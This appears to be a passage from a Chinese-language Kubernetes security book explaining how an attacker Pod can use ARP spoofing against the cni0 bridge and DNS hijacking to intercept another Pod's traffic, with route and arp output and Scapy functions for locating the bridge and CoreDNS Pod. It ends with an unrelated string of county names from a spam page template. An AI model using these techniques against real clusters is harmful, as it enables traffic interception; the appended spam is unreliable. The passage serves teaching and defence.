官术网_书友最值得收藏!

4.5.2 原理描述

前文中我們給出了一種基于ARP欺騙和DNS劫持的攻擊場景。要深入理解這個場景,就需要從Pod視角來看一下場景內的流量是如何流動的。我們以場景中涉及的example.com為例進行講解。

假設某Pod A需要訪問example.com,那么它首先必須知道該域名對應的IP,因此,它需要發出一個DNS查詢請求。向哪里發送呢?默認情況下,Pod的DNS策略為ClusterFirst[1],也就是說,Pod A會向集群DNS服務kube-dns發起請求。DNS請求實際上是一個UDP報文,在我們的例子中,kube-dns服務的IP為10.96.0.10,而Pod A的IP為10.244.0.195,兩者不在同一子網。因此,該UDP報文會被Pod A發送給默認網關,也就是cni0。接著,結合背景知識部分可知,節點iptables對該報文進行DNAT處理,將目的地改為10.244.0.134,也就是CoreDNS Pod的IP地址。

那么,怎么把報文發送過去呢?cni0通過查詢自己維護的MAC地址表,找到10.244.0.134對應的MAC地址,然后將報文發到網橋的對應端口上。CoreDNS Pod收到報文后,向上級DNS服務器查詢example.com的IP,收到結果后向Pod A發出DNS響應。至此,Pod A知道了example.com對應的IP。

接下來,Pod A就可以向example.com對應的IP發出基于TCP的HTTP請求了,這是一個正常的IP路由流程,不再贅述。

如何實施中間人攻擊呢?假如攻擊者想要欺騙Pod A,就應該想辦法讓Pod A以為攻擊者所在的Pod才是DNS服務器。然而,Pod A并未直接向10.244.0.134發出ARP請求,上面過程提到的ARP解析是由cni0負責的。因此,攻擊者只需要讓cni0以為CoreDNS Pod的IP地址10.244.0.134對應的MAC地址為攻擊者所在Pod網卡的MAC地址即可。那么攻擊者可以持續向cni0發送ARP響應幀,告訴cni0,自己才是10.244.0.134。

根據ARP,攻擊者可以按照圖4-15給出的方式構造響應幀,其中,上方是ARP幀格式,下方是攻擊者構造的具體響應幀內容。

圖4-15 ARP響應幀結構

假設攻擊者Pod對cni0網橋的ARP欺騙成功,理論上,稍后它將收到由Pod A發送的DNS查詢請求。后面的攻擊就比較順利了——向Pod A返回DNS響應,聲稱example.com對應的IP地址是自己的IP;很快,它就會收到Pod A對example.com的HTTP請求,此時,攻擊者即可任意定制HTTP響應內容。

至此,原理上似乎沒有問題。但攻擊者在Pod內,怎么獲得cni0網橋和CoreDNS Pod的網絡信息呢?

首先是cni0網橋。網橋的IP和MAC地址獲取方式比較多樣。例如,由于cni0既是網橋又是默認網關,我們可以直接查詢Pod的路由表,獲得網橋IP地址:


root@test:/# route -n
Kernel IP routing table
Destination     Gateway         Genmask        Flags Metric Ref    Use Iface
0.0.0.0         10.244.0.1      0.0.0.0        UG    0      0       0  eth0
10.244.0.0      0.0.0.0         255.255.255.0  U     0      0       0  eth0
10.244.0.0      10.244.0.1      255.255.0.0    UG    0      0       0  eth0

然后直接查詢ARP緩存,獲得網橋MAC地址。如果沒有,可以先向網橋發送一個ARP請求:


root@test:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.244.0.1               ether   0a:58:0a:f4:00:01   C                     eth0

或者,也可以直接向集群外部發送一個ICMP消息,設置ttl為1,然后從返回的ICMP消息中同時獲得網橋的IP和MAC地址。相關的Python代碼如下:


from scapy.layers.inet import IP, Ether, ICMP
from scapy.sendrecv import srp1
def get_bridge_mac_ip(verbose):
    res = srp1(Ether() / IP(dst="8.8.8.8", ttl=1) / ICMP(), verbose=verbose)
    return res[Ether].src, res[IP].src

我們再來看如何獲得CoreDNS Pod的IP和MAC地址。結合背景知識部分DNS內容可知,Pod內部僅僅能拿到一個kube-dns服務的IP,通常是10.96.0.10。但是,如果攻擊者Pod向該服務發送一個DNS查詢請求,實際上是服務背后的CoreDNS Pod來回復DNS響應的(經過DNAT處理,目的地改為CoreDNS Pod)。而DNS響應又是一個UDP報文,因此我們可以從中提取到CoreDNS Pod的MAC地址。但是,DNS響應又會被進行SNAT處理,其中的IP地址被重新替換為kube-dns服務IP10.96.0.10。所以,以上步驟只能讓攻擊者拿到CoreDNS Pod的MAC地址。

如何獲取它的IP地址呢?攻擊者可以向整個子網的每個IP發出ARP請求,收集它們的MAC地址,然后與前面獲得的CoreDNS Pod的MAC地址進行比對,如果一致,則說明對應IP即為CoreDNS Pod的IP。

相關的Python代碼如下:


from scapy.layers.inet import IP, UDP, Ether
from scapy.sendrecv import srp1, srp
from scapy.layers.dns import DNS, DNSQR

def get_coredns_pod_mac_ip(kube_dns_svc_ip, self_ip, verbose):
    mac = srp1(Ether() / IP(dst=kube_dns_svc_ip) /
               UDP(dport=53) / DNS(rd=1, qd=DNSQR()), verbose=verbose).src
    answers, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /
                     ARP(pdst="{}/24".format(self_ip)), timeout=4, verbose=
                         verbose)
    for answer in answers:
        if answer[1].src == mac:
            return mac, answer[1][ARP].psrc
    return None, None

原理部分到此結束,下面我們進入實戰環節。

[1] 可以通過“kubectl get pod [POD-NAME] -o yaml”查看。

主站蜘蛛池模板: 罗定市| 视频| 澎湖县| 庆安县| 阿图什市| 华蓥市| 密山市| 巨野县| 郁南县| 碌曲县| 新沂市| 鹿邑县| 晋州市| 永修县| 上思县| 眉山市| 都匀市| 刚察县| 西乡县| 西华县| 南川市| 留坝县| 兴仁县| 独山县| 囊谦县| 永昌县| 濮阳市| 寿光市| 南靖县| 齐齐哈尔市| 安图县| 乌拉特中旗| 铜陵市| 永年县| 龙里县| 扎鲁特旗| 凤凰县| 延吉市| 策勒县| 郸城县| 平顶山市|